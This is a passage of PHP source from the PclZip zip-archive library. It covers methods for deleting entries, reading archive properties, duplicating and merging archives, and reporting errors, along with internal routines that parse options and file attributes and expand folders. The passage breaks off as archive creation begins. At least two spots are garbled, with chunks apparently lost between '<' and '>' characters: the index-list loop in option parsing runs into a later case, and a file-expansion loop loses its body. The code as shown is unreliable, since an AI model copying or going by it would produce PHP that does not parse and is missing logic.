// ----- Check for '/' in last path char
if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
$v_path .= '/';
}
$v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
}
if (!isset($v_options[PCLZIP_OPT_EXTRACT_AS_STRING])) {
$v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
}
else {
}
}
// ----- Look for 2 args
// Here we need to support the first historic synopsis of the
// method.
else {
// ----- Get the first argument
$v_path = $v_arg_list[0];
// ----- Look for the optional second argument
if ($v_size == 2) {
$v_remove_path = $v_arg_list[1];
}
else if ($v_size > 2) {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");
// ----- Return
return 0;
}
}
}
// ----- Trace
// ----- Trick
// Here I want to reuse extractByRule(), so I need to parse the $p_index
// with privParseOptions()
$v_arg_trick = array (PCLZIP_OPT_BY_INDEX, $p_index);
$v_options_trick = array();
$v_result = $this->privParseOptions($v_arg_trick, sizeof($v_arg_trick), $v_options_trick,
array (PCLZIP_OPT_BY_INDEX => 'optional' ));
if ($v_result != 1) {
return 0;
}
$v_options[PCLZIP_OPT_BY_INDEX] = $v_options_trick[PCLZIP_OPT_BY_INDEX];
// ----- Look for default option values
$this->privOptionDefaultThreshold($v_options);
// ----- Call the extracting fct
if (($v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options)) < 1) {
return(0);
}
// ----- Return
return $p_list;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function :
// delete([$p_option, $p_option_value, ...])
// Description :
// This method removes files from the archive.
// If no parameters are given, then all the archive is emptied.
// Parameters :
// None or optional arguments.
// Options :
// PCLZIP_OPT_BY_INDEX :
// PCLZIP_OPT_BY_NAME :
// PCLZIP_OPT_BY_EREG :
// PCLZIP_OPT_BY_PREG :
// Return Values :
// 0 on failure,
// The list of the files which are still present in the archive.
// (see PclZip::listContent() for list entry format)
// --------------------------------------------------------------------------------
function delete()
{
$v_result=1;
// ----- Reset the error handler
$this->privErrorReset();
// ----- Check archive
if (!$this->privCheckFormat()) {
return(0);
}
// ----- Set default values
$v_options = array();
// ----- Look for variable options arguments
$v_size = func_num_args();
// ----- Look for arguments
if ($v_size > 0) {
// ----- Get the arguments
$v_arg_list = func_get_args();
// ----- Parse the options
$v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
array (PCLZIP_OPT_BY_NAME => 'optional',
PCLZIP_OPT_BY_EREG => 'optional',
PCLZIP_OPT_BY_PREG => 'optional',
PCLZIP_OPT_BY_INDEX => 'optional' ));
if ($v_result != 1) {
return 0;
}
}
// ----- Magic quotes trick
$this->privDisableMagicQuotes();
// ----- Call the delete fct
$v_list = array();
if (($v_result = $this->privDeleteByRule($v_list, $v_options)) != 1) {
$this->privSwapBackMagicQuotes();
unset($v_list);
return(0);
}
// ----- Magic quotes trick
$this->privSwapBackMagicQuotes();
// ----- Return
return $v_list;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : deleteByIndex()
// Description :
// ***** Deprecated *****
// delete(PCLZIP_OPT_BY_INDEX, $p_index) should be preferred.
// --------------------------------------------------------------------------------
function deleteByIndex($p_index)
{
$p_list = $this->delete(PCLZIP_OPT_BY_INDEX, $p_index);
// ----- Return
return $p_list;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : properties()
// Description :
// This method gives the properties of the archive.
// The properties are :
// nb : Number of files in the archive
// comment : Comment associated with the archive file
// status : not_exist, ok
// Parameters :
// None
// Return Values :
// 0 on failure,
// An array with the archive properties.
// --------------------------------------------------------------------------------
function properties()
{
// ----- Reset the error handler
$this->privErrorReset();
// ----- Magic quotes trick
$this->privDisableMagicQuotes();
// ----- Check archive
if (!$this->privCheckFormat()) {
$this->privSwapBackMagicQuotes();
return(0);
}
// ----- Default properties
$v_prop = array();
$v_prop['comment'] = '';
$v_prop['nb'] = 0;
$v_prop['status'] = 'not_exist';
// ----- Look if file exists
if (@is_file($this->zipname))
{
// ----- Open the zip file
if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0)
{
$this->privSwapBackMagicQuotes();
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode');
// ----- Return
return 0;
}
// ----- Read the central directory information
$v_central_dir = array();
if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
{
$this->privSwapBackMagicQuotes();
return 0;
}
// ----- Close the zip file
$this->privCloseFd();
// ----- Set the user attributes
$v_prop['comment'] = $v_central_dir['comment'];
$v_prop['nb'] = $v_central_dir['entries'];
$v_prop['status'] = 'ok';
}
// ----- Magic quotes trick
$this->privSwapBackMagicQuotes();
// ----- Return
return $v_prop;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : duplicate()
// Description :
// This method creates an archive by copying the content of an other one. If
// the archive already exist, it is replaced by the new one without any warning.
// Parameters :
// $p_archive : The filename of a valid archive, or
// a valid PclZip object.
// Return Values :
// 1 on success.
// 0 or a negative value on error (error code).
// --------------------------------------------------------------------------------
function duplicate($p_archive)
{
$v_result = 1;
// ----- Reset the error handler
$this->privErrorReset();
// ----- Look if the $p_archive is an instantiated PclZip object
if ($p_archive instanceof pclzip)
{
// ----- Duplicate the archive
$v_result = $this->privDuplicate($p_archive->zipname);
}
// ----- Look if the $p_archive is a string (so a filename)
else if (is_string($p_archive))
{
// ----- Check that $p_archive is a valid zip file
// TBC : Should also check the archive format
if (!is_file($p_archive)) {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "No file with filename '".$p_archive."'");
$v_result = PCLZIP_ERR_MISSING_FILE;
}
else {
// ----- Duplicate the archive
$v_result = $this->privDuplicate($p_archive);
}
}
// ----- Invalid variable
else
{
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
$v_result = PCLZIP_ERR_INVALID_PARAMETER;
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : merge()
// Description :
// This method merge the $p_archive_to_add archive at the end of the current
// one ($this).
// If the archive ($this) does not exist, the merge becomes a duplicate.
// If the $p_archive_to_add archive does not exist, the merge is a success.
// Parameters :
// $p_archive_to_add : It can be directly the filename of a valid zip archive,
// or a PclZip object archive.
// Return Values :
// 1 on success,
// 0 or negative values on error (see below).
// --------------------------------------------------------------------------------
function merge($p_archive_to_add)
{
$v_result = 1;
// ----- Reset the error handler
$this->privErrorReset();
// ----- Check archive
if (!$this->privCheckFormat()) {
return(0);
}
// ----- Look if the $p_archive_to_add is an instantiated PclZip object
if ($p_archive_to_add instanceof pclzip)
{
// ----- Merge the archive
$v_result = $this->privMerge($p_archive_to_add);
}
// ----- Look if the $p_archive_to_add is a string (so a filename)
else if (is_string($p_archive_to_add))
{
// ----- Create a temporary archive
$v_object_archive = new PclZip($p_archive_to_add);
// ----- Merge the archive
$v_result = $this->privMerge($v_object_archive);
}
// ----- Invalid variable
else
{
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
$v_result = PCLZIP_ERR_INVALID_PARAMETER;
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : errorCode()
// Description :
// Parameters :
// --------------------------------------------------------------------------------
function errorCode()
{
if (PCLZIP_ERROR_EXTERNAL == 1) {
return(PclErrorCode());
}
else {
return($this->error_code);
}
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : errorName()
// Description :
// Parameters :
// --------------------------------------------------------------------------------
function errorName($p_with_code=false)
{
$v_name = array ( PCLZIP_ERR_NO_ERROR => 'PCLZIP_ERR_NO_ERROR',
PCLZIP_ERR_WRITE_OPEN_FAIL => 'PCLZIP_ERR_WRITE_OPEN_FAIL',
PCLZIP_ERR_READ_OPEN_FAIL => 'PCLZIP_ERR_READ_OPEN_FAIL',
PCLZIP_ERR_INVALID_PARAMETER => 'PCLZIP_ERR_INVALID_PARAMETER',
PCLZIP_ERR_MISSING_FILE => 'PCLZIP_ERR_MISSING_FILE',
PCLZIP_ERR_FILENAME_TOO_LONG => 'PCLZIP_ERR_FILENAME_TOO_LONG',
PCLZIP_ERR_INVALID_ZIP => 'PCLZIP_ERR_INVALID_ZIP',
PCLZIP_ERR_BAD_EXTRACTED_FILE => 'PCLZIP_ERR_BAD_EXTRACTED_FILE',
PCLZIP_ERR_DIR_CREATE_FAIL => 'PCLZIP_ERR_DIR_CREATE_FAIL',
PCLZIP_ERR_BAD_EXTENSION => 'PCLZIP_ERR_BAD_EXTENSION',
PCLZIP_ERR_BAD_FORMAT => 'PCLZIP_ERR_BAD_FORMAT',
PCLZIP_ERR_DELETE_FILE_FAIL => 'PCLZIP_ERR_DELETE_FILE_FAIL',
PCLZIP_ERR_RENAME_FILE_FAIL => 'PCLZIP_ERR_RENAME_FILE_FAIL',
PCLZIP_ERR_BAD_CHECKSUM => 'PCLZIP_ERR_BAD_CHECKSUM',
PCLZIP_ERR_INVALID_ARCHIVE_ZIP => 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP',
PCLZIP_ERR_MISSING_OPTION_VALUE => 'PCLZIP_ERR_MISSING_OPTION_VALUE',
PCLZIP_ERR_INVALID_OPTION_VALUE => 'PCLZIP_ERR_INVALID_OPTION_VALUE',
PCLZIP_ERR_UNSUPPORTED_COMPRESSION => 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION',
PCLZIP_ERR_UNSUPPORTED_ENCRYPTION => 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION'
,PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE => 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE'
,PCLZIP_ERR_DIRECTORY_RESTRICTION => 'PCLZIP_ERR_DIRECTORY_RESTRICTION'
);
if (isset($v_name[$this->error_code])) {
$v_value = $v_name[$this->error_code];
}
else {
$v_value = 'NoName';
}
if ($p_with_code) {
return($v_value.' ('.$this->error_code.')');
}
else {
return($v_value);
}
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : errorInfo()
// Description :
// Parameters :
// --------------------------------------------------------------------------------
function errorInfo($p_full=false)
{
if (PCLZIP_ERROR_EXTERNAL == 1) {
return(PclErrorString());
}
else {
if ($p_full) {
return($this->errorName(true)." : ".$this->error_string);
}
else {
return($this->error_string." [code ".$this->error_code."]");
}
}
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// ***** UNDER THIS LINE ARE DEFINED PRIVATE INTERNAL FUNCTIONS *****
// ***** *****
// ***** THESES FUNCTIONS MUST NOT BE USED DIRECTLY *****
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privCheckFormat()
// Description :
// This method check that the archive exists and is a valid zip archive.
// Several level of check exists. (future)
// Parameters :
// $p_level : Level of check. Default 0.
// 0 : Check the first bytes (magic codes) (default value))
// 1 : 0 + Check the central directory (future)
// 2 : 1 + Check each file header (future)
// Return Values :
// true on success,
// false on error, the error code is set.
// --------------------------------------------------------------------------------
function privCheckFormat($p_level=0)
{
$v_result = true;
// ----- Reset the file system cache
clearstatcache();
// ----- Reset the error handler
$this->privErrorReset();
// ----- Look if the file exits
if (!is_file($this->zipname)) {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "Missing archive file '".$this->zipname."'");
return(false);
}
// ----- Check that the file is readable
if (!is_readable($this->zipname)) {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to read archive '".$this->zipname."'");
return(false);
}
// ----- Check the magic code
// TBC
// ----- Check the central header
// TBC
// ----- Check each file header
// TBC
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privParseOptions()
// Description :
// This internal methods reads the variable list of arguments ($p_options_list,
// $p_size) and generate an array with the options and values ($v_result_list).
// $v_requested_options contains the options that can be present and those that
// must be present.
// $v_requested_options is an array, with the option value as key, and 'optional',
// or 'mandatory' as value.
// Parameters :
// See above.
// Return Values :
// 1 on success.
// 0 on failure.
// --------------------------------------------------------------------------------
function privParseOptions(&$p_options_list, $p_size, &$v_result_list, $v_requested_options=false)
{
$v_result=1;
// ----- Read the options
$i=0;
while ($i<$p_size) {
// ----- Check if the option is supported
if (!isset($v_requested_options[$p_options_list[$i]])) {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid optional parameter '".$p_options_list[$i]."' for this method");
// ----- Return
return PclZip::errorCode();
}
// ----- Look for next option
switch ($p_options_list[$i]) {
// ----- Look for options that request a path value
case PCLZIP_OPT_PATH :
case PCLZIP_OPT_REMOVE_PATH :
case PCLZIP_OPT_ADD_PATH :
// ----- Check the number of parameters
if (($i+1) >= $p_size) {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
// ----- Return
return PclZip::errorCode();
}
// ----- Get the value
$v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE);
$i++;
break;
case PCLZIP_OPT_TEMP_FILE_THRESHOLD :
// ----- Check the number of parameters
if (($i+1) >= $p_size) {
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
return PclZip::errorCode();
}
// ----- Check for incompatible options
if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");
return PclZip::errorCode();
}
// ----- Check the value
$v_value = $p_options_list[$i+1];
if ((!is_integer($v_value)) || ($v_value<0)) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Integer expected for option '".PclZipUtilOptionText($p_options_list[$i])."'");
return PclZip::errorCode();
}
// ----- Get the value (and convert it in bytes)
$v_result_list[$p_options_list[$i]] = $v_value*1048576;
$i++;
break;
case PCLZIP_OPT_TEMP_FILE_ON :
// ----- Check for incompatible options
if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");
return PclZip::errorCode();
}
$v_result_list[$p_options_list[$i]] = true;
break;
case PCLZIP_OPT_TEMP_FILE_OFF :
// ----- Check for incompatible options
if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_ON])) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_ON'");
return PclZip::errorCode();
}
// ----- Check for incompatible options
if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_THRESHOLD'");
return PclZip::errorCode();
}
$v_result_list[$p_options_list[$i]] = true;
break;
case PCLZIP_OPT_EXTRACT_DIR_RESTRICTION :
// ----- Check the number of parameters
if (($i+1) >= $p_size) {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
// ----- Return
return PclZip::errorCode();
}
// ----- Get the value
if ( is_string($p_options_list[$i+1])
&& ($p_options_list[$i+1] != '')) {
$v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE);
$i++;
}
else {
}
break;
// ----- Look for options that request an array of string for value
case PCLZIP_OPT_BY_NAME :
// ----- Check the number of parameters
if (($i+1) >= $p_size) {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
// ----- Return
return PclZip::errorCode();
}
// ----- Get the value
if (is_string($p_options_list[$i+1])) {
$v_result_list[$p_options_list[$i]][0] = $p_options_list[$i+1];
}
else if (is_array($p_options_list[$i+1])) {
$v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
}
else {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
// ----- Return
return PclZip::errorCode();
}
$i++;
break;
// ----- Look for options that request an EREG or PREG expression
case PCLZIP_OPT_BY_EREG :
// ereg() is deprecated starting with PHP 5.3. Move PCLZIP_OPT_BY_EREG
// to PCLZIP_OPT_BY_PREG
$p_options_list[$i] = PCLZIP_OPT_BY_PREG;
case PCLZIP_OPT_BY_PREG :
//case PCLZIP_OPT_CRYPT :
// ----- Check the number of parameters
if (($i+1) >= $p_size) {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
// ----- Return
return PclZip::errorCode();
}
// ----- Get the value
if (is_string($p_options_list[$i+1])) {
$v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
}
else {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
// ----- Return
return PclZip::errorCode();
}
$i++;
break;
// ----- Look for options that takes a string
case PCLZIP_OPT_COMMENT :
case PCLZIP_OPT_ADD_COMMENT :
case PCLZIP_OPT_PREPEND_COMMENT :
// ----- Check the number of parameters
if (($i+1) >= $p_size) {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE,
"Missing parameter value for option '"
.PclZipUtilOptionText($p_options_list[$i])
."'");
// ----- Return
return PclZip::errorCode();
}
// ----- Get the value
if (is_string($p_options_list[$i+1])) {
$v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
}
else {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE,
"Wrong parameter value for option '"
.PclZipUtilOptionText($p_options_list[$i])
."'");
// ----- Return
return PclZip::errorCode();
}
$i++;
break;
// ----- Look for options that request an array of index
case PCLZIP_OPT_BY_INDEX :
// ----- Check the number of parameters
if (($i+1) >= $p_size) {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
// ----- Return
return PclZip::errorCode();
}
// ----- Get the value
$v_work_list = array();
if (is_string($p_options_list[$i+1])) {
// ----- Remove spaces
$p_options_list[$i+1] = strtr($p_options_list[$i+1], ' ', '');
// ----- Parse items
$v_work_list = explode(",", $p_options_list[$i+1]);
}
else if (is_integer($p_options_list[$i+1])) {
$v_work_list[0] = $p_options_list[$i+1].'-'.$p_options_list[$i+1];
}
else if (is_array($p_options_list[$i+1])) {
$v_work_list = $p_options_list[$i+1];
}
else {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Value must be integer, string or array for option '".PclZipUtilOptionText($p_options_list[$i])."'");
// ----- Return
return PclZip::errorCode();
}
// ----- Reduce the index list
// each index item in the list must be a couple with a start and
// an end value : [0,3], [5-5], [8-10], ...
// ----- Check the format of each item
$v_sort_flag=false;
$v_sort_value=0;
for ($j=0; $j= $p_size) {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
// ----- Return
return PclZip::errorCode();
}
// ----- Get the value
$v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
$i++;
break;
// ----- Look for options that request a call-back
case PCLZIP_CB_PRE_EXTRACT :
case PCLZIP_CB_POST_EXTRACT :
case PCLZIP_CB_PRE_ADD :
case PCLZIP_CB_POST_ADD :
/* for future use
case PCLZIP_CB_PRE_DELETE :
case PCLZIP_CB_POST_DELETE :
case PCLZIP_CB_PRE_LIST :
case PCLZIP_CB_POST_LIST :
*/
// ----- Check the number of parameters
if (($i+1) >= $p_size) {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
// ----- Return
return PclZip::errorCode();
}
// ----- Get the value
$v_function_name = $p_options_list[$i+1];
// ----- Check that the value is a valid existing function
if (!function_exists($v_function_name)) {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Function '".$v_function_name."()' is not an existing function for option '".PclZipUtilOptionText($p_options_list[$i])."'");
// ----- Return
return PclZip::errorCode();
}
// ----- Set the attribute
$v_result_list[$p_options_list[$i]] = $v_function_name;
$i++;
break;
default :
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
"Unknown parameter '"
.$p_options_list[$i]."'");
// ----- Return
return PclZip::errorCode();
}
// ----- Next options
$i++;
}
// ----- Look for mandatory options
if ($v_requested_options !== false) {
for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) {
// ----- Look for mandatory option
if ($v_requested_options[$key] == 'mandatory') {
// ----- Look if present
if (!isset($v_result_list[$key])) {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")");
// ----- Return
return PclZip::errorCode();
}
}
}
}
// ----- Look for default values
if (!isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) {
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privOptionDefaultThreshold()
// Description :
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privOptionDefaultThreshold(&$p_options)
{
$v_result=1;
if (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
|| isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) {
return $v_result;
}
// ----- Get 'memory_limit' configuration value
$v_memory_limit = ini_get('memory_limit');
$v_memory_limit = trim($v_memory_limit);
$v_memory_limit_int = (int) $v_memory_limit;
$last = strtolower(substr($v_memory_limit, -1));
if($last == 'g')
//$v_memory_limit_int = $v_memory_limit_int*1024*1024*1024;
$v_memory_limit_int = $v_memory_limit_int*1073741824;
if($last == 'm')
//$v_memory_limit_int = $v_memory_limit_int*1024*1024;
$v_memory_limit_int = $v_memory_limit_int*1048576;
if($last == 'k')
$v_memory_limit_int = $v_memory_limit_int*1024;
$p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] = floor($v_memory_limit_int*PCLZIP_TEMPORARY_FILE_RATIO);
// ----- Confidence check : No threshold if value lower than 1M
if ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] < 1048576) {
unset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]);
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privFileDescrParseAtt()
// Description :
// Parameters :
// Return Values :
// 1 on success.
// 0 on failure.
// --------------------------------------------------------------------------------
function privFileDescrParseAtt(&$p_file_list, &$p_filedescr, $v_options, $v_requested_options=false)
{
$v_result=1;
// ----- For each file in the list check the attributes
foreach ($p_file_list as $v_key => $v_value) {
// ----- Check if the option is supported
if (!isset($v_requested_options[$v_key])) {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file attribute '".$v_key."' for this file");
// ----- Return
return PclZip::errorCode();
}
// ----- Look for attribute
switch ($v_key) {
case PCLZIP_ATT_FILE_NAME :
if (!is_string($v_value)) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
return PclZip::errorCode();
}
$p_filedescr['filename'] = PclZipUtilPathReduction($v_value);
if ($p_filedescr['filename'] == '') {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty filename for attribute '".PclZipUtilOptionText($v_key)."'");
return PclZip::errorCode();
}
break;
case PCLZIP_ATT_FILE_NEW_SHORT_NAME :
if (!is_string($v_value)) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
return PclZip::errorCode();
}
$p_filedescr['new_short_name'] = PclZipUtilPathReduction($v_value);
if ($p_filedescr['new_short_name'] == '') {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty short filename for attribute '".PclZipUtilOptionText($v_key)."'");
return PclZip::errorCode();
}
break;
case PCLZIP_ATT_FILE_NEW_FULL_NAME :
if (!is_string($v_value)) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
return PclZip::errorCode();
}
$p_filedescr['new_full_name'] = PclZipUtilPathReduction($v_value);
if ($p_filedescr['new_full_name'] == '') {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty full filename for attribute '".PclZipUtilOptionText($v_key)."'");
return PclZip::errorCode();
}
break;
// ----- Look for options that takes a string
case PCLZIP_ATT_FILE_COMMENT :
if (!is_string($v_value)) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
return PclZip::errorCode();
}
$p_filedescr['comment'] = $v_value;
break;
case PCLZIP_ATT_FILE_MTIME :
if (!is_integer($v_value)) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". Integer expected for attribute '".PclZipUtilOptionText($v_key)."'");
return PclZip::errorCode();
}
$p_filedescr['mtime'] = $v_value;
break;
case PCLZIP_ATT_FILE_CONTENT :
$p_filedescr['content'] = $v_value;
break;
default :
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
"Unknown parameter '".$v_key."'");
// ----- Return
return PclZip::errorCode();
}
// ----- Look for mandatory options
if ($v_requested_options !== false) {
for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) {
// ----- Look for mandatory option
if ($v_requested_options[$key] == 'mandatory') {
// ----- Look if present
if (!isset($p_file_list[$key])) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")");
return PclZip::errorCode();
}
}
}
}
// end foreach
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privFileDescrExpand()
// Description :
// This method look for each item of the list to see if its a file, a folder
// or a string to be added as file. For any other type of files (link, other)
// just ignore the item.
// Then prepare the information that will be stored for that file.
// When its a folder, expand the folder with all the files that are in that
// folder (recursively).
// Parameters :
// Return Values :
// 1 on success.
// 0 on failure.
// --------------------------------------------------------------------------------
function privFileDescrExpand(&$p_filedescr_list, &$p_options)
{
$v_result=1;
// ----- Create a result list
$v_result_list = array();
// ----- Look each entry
for ($i=0; $iprivCalculateStoredFilename($v_descr, $p_options);
// ----- Add the descriptor in result list
$v_result_list[sizeof($v_result_list)] = $v_descr;
// ----- Look for folder
if ($v_descr['type'] == 'folder') {
// ----- List of items in folder
$v_dirlist_descr = array();
$v_dirlist_nb = 0;
if ($v_folder_handler = @opendir($v_descr['filename'])) {
while (($v_item_handler = @readdir($v_folder_handler)) !== false) {
// ----- Skip '.' and '..'
if (($v_item_handler == '.') || ($v_item_handler == '..')) {
continue;
}
// ----- Compose the full filename
$v_dirlist_descr[$v_dirlist_nb]['filename'] = $v_descr['filename'].'/'.$v_item_handler;
// ----- Look for different stored filename
// Because the name of the folder was changed, the name of the
// files/sub-folders also change
if (($v_descr['stored_filename'] != $v_descr['filename'])
&& (!isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))) {
if ($v_descr['stored_filename'] != '') {
$v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_descr['stored_filename'].'/'.$v_item_handler;
}
else {
$v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_item_handler;
}
}
$v_dirlist_nb++;
}
@closedir($v_folder_handler);
}
else {
// TBC : unable to open folder in read mode
}
// ----- Expand each element of the list
if ($v_dirlist_nb != 0) {
// ----- Expand
if (($v_result = $this->privFileDescrExpand($v_dirlist_descr, $p_options)) != 1) {
return $v_result;
}
// ----- Concat the resulting list
$v_result_list = array_merge($v_result_list, $v_dirlist_descr);
}
else {
}
// ----- Free local array
unset($v_dirlist_descr);
}
}
// ----- Get the result list
$p_filedescr_list = $v_result_list;
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privCreate()
// Description :
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privCreate($p_filedescr_list, &$p_result_list, &$p_options)
{
$v_result=1;
$v_list_detail = array();
// ----- Magic quotes trick
$this->privDisableMagicQuotes();
// ----- Open the file in write mode
